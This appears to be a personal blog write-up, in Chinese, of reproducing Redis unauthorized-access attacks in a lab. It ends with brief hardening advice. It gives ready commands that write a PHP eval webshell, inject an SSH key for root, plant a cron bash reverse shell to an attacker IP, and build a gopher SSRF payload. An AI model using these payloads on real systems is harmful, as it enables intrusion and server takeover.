redis未授权漏洞复现
Flow

继续增加实操经历!

Redis 默认情况下,会绑定在 0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等。

环境搭建

影响版本 2.x,3.x,4.x,5.x

这边直接在Ubuntu上装了个redis,在这个链接下载历史版本的redis,本地编译后修改一下配置文件redis.conf

把这个保护模式从yes改成no,允许别的主机远程连接

把绑定ip这一行给注释掉,允许除本地外的主机远程登录redis服务

然后开启redis-server,这里我的版本是3.2.7

在kali这边连接,尝试ping,看到pong表示连接成功

利用未授权写入webshell

条件

  • 服务器的redis存在未授权,攻击机可以直接连接登陆
  • 服务器开了web服务器,攻击者知道web根目录
  • 对web目录有写入权限

写入webshell思路是指定本地数据库存放目录设置为/var/www/html,指定本地数据库文件名为shell.php,于是我们就可以写入一个路径为/var/www/html/shell.php的Webshell文件

原理是我们在数据库中插入一条webshell代码数据,代码作为value,key随便,相当于把缓冲数据保存在shell.php里

1
2
3
4
5
6
7
8
192.168.64.189:6379> config set dir /var/www/html/ 
OK
192.168.64.189:6379> config set dbfilename shell.php
OK
192.168.64.189:6379> set xxx "<?php eval($_POST['whoami']);?>"
OK
192.168.64.189:6379> save
OK

可以看到是成功的,这里注意有伤害代码要写成

1
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"

多增加了一些换行符,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行

利用未授权写入ssh公钥

思路也是一样的,这次把数据库默认路径改成/root/.ssh,缓冲文件名改为authorized.keys

先生成公私钥

1
ssh-keygen -t rsa

在/root/.ssh下会有id_rsa.pub,读取出来写到目标路径里

1
2
3
4
5
6
7
8
9
10
11
12
13
192.168.64.189:6379> config set dir /root/.ssh
OK
192.168.64.189:6379> config set dir /root/.ssh/
OK
192.168.64.189:6379>
192.168.64.189:6379>
192.168.64.189:6379>
192.168.64.189:6379> CONFIG SET dbfilename authorized_keys
OK
192.168.64.189:6379> set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkvpZ7bfxoxuHQaCWbss1FfXaz7S30Es0fJtxqDtgV4d166hNSqBlIPDGcqzRfhsrbuCkQCAbWvz89Rh45POAVITVSPnZw8gIdXUsYrWmHFP8NExBc79K+yRh6ja2uFpIELEd1k4gQBfB0fg4G6st042I58Iaj8ZabfH5EgzEG4FOeK35usxk+jioIy/mtl6xwlucWFqQXjF4OAU58O2nmCbd9dtLmV/2ZDXDqAhdRSN0MB+iKfki+c2mq6rlhRpBK/xj6G0GVNlz9GkuYR50Zq2tUO6hKY130f6KW5yHSqezUIb0UpURL4mWYz7qErtNHZrTT5U/isCqp1VYcTDrS67Ax11PoMtzJuvuLtmNruW8pKvTCC9LYVUB+5U49RiHre8duFTkXe9Yx61yT3kmPN4Ocik8tzuTA6srmKIrr7UbLal+PinO/AYgaXDDPTINNgoMwXLbByzj31CSb8eB0TOv6qwQvn3nSlA2VQXnrS/og0jNaB5KPfg/WDNo0o+0= root@Flow\n\n"
OK
192.168.64.189:6379> save
OK

记得在写入内容前后都加换行,保证格式正确

然后就登陆上被攻击机的root了

利用未授权写入定时任务

条件

除了前面所要求的,这次还多要求

  • redis是root用户运行的
  • 机器有定时任务功能(Linux机器大多数会有)
1
2
3
4
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.64.187/1234 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

尝试了半天,写入语句后查看/var/spool/cron/crontabs/root,也没看到反弹shell的命令,原来这个在Ubuntu上行不通,原因是:

因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw——-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行

因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同:

Centos的定时任务文件在/var/spool/cron/<username>

Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>

ssrf+redis写入webshell

利用条件

  • 首先有一个ssrf漏洞
  • redis没有设置密码认证
  • 知道网站根目录,有写入权限

主要用到gopher协议,用到的命令和之前是一样的,要用一个脚本(网上找的)生成gopher协议后面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import urllib.parse 

protocol = "gopher://"
ip = "192.168.64.189"
port = "6379"
shell = "\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = "" # 此处也可以填入 Redis 的密码,在未授权的情况下适用

# Redis 命令列表
cmd = [
"flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]

# 如果有密码,则在命令中插入 AUTH 命令
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))

# 构造 gopher URL
payload = protocol + ip + ":" + port + "/_"

# Redis 命令格式化函数
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))

for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")

cmd += CRLF
return cmd

if __name__ == "__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x)) # 使用正确的 urllib.parse.quote

# 输出最终构造的 payload
print(payload)

生成payload解码看到的

再编一次码,然后访问

1
/ssrf.php?url=gopher%3A%2F%2F192%2E168%2E64%2E189%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524%5FPOST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A'

这样就能实现和之前一样的效果,当redis不对外开放时就可以考虑利用ssrf,这算是增加了攻击面,但是也要网站本身支持这些协议

常见防护设施

很容易想

开启防护模式,设置密码安全认证,不对外开放,修改端口为不常见的,给文件夹设置严格的访问权限

先这样,后面再补充一下主从复制的内容

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep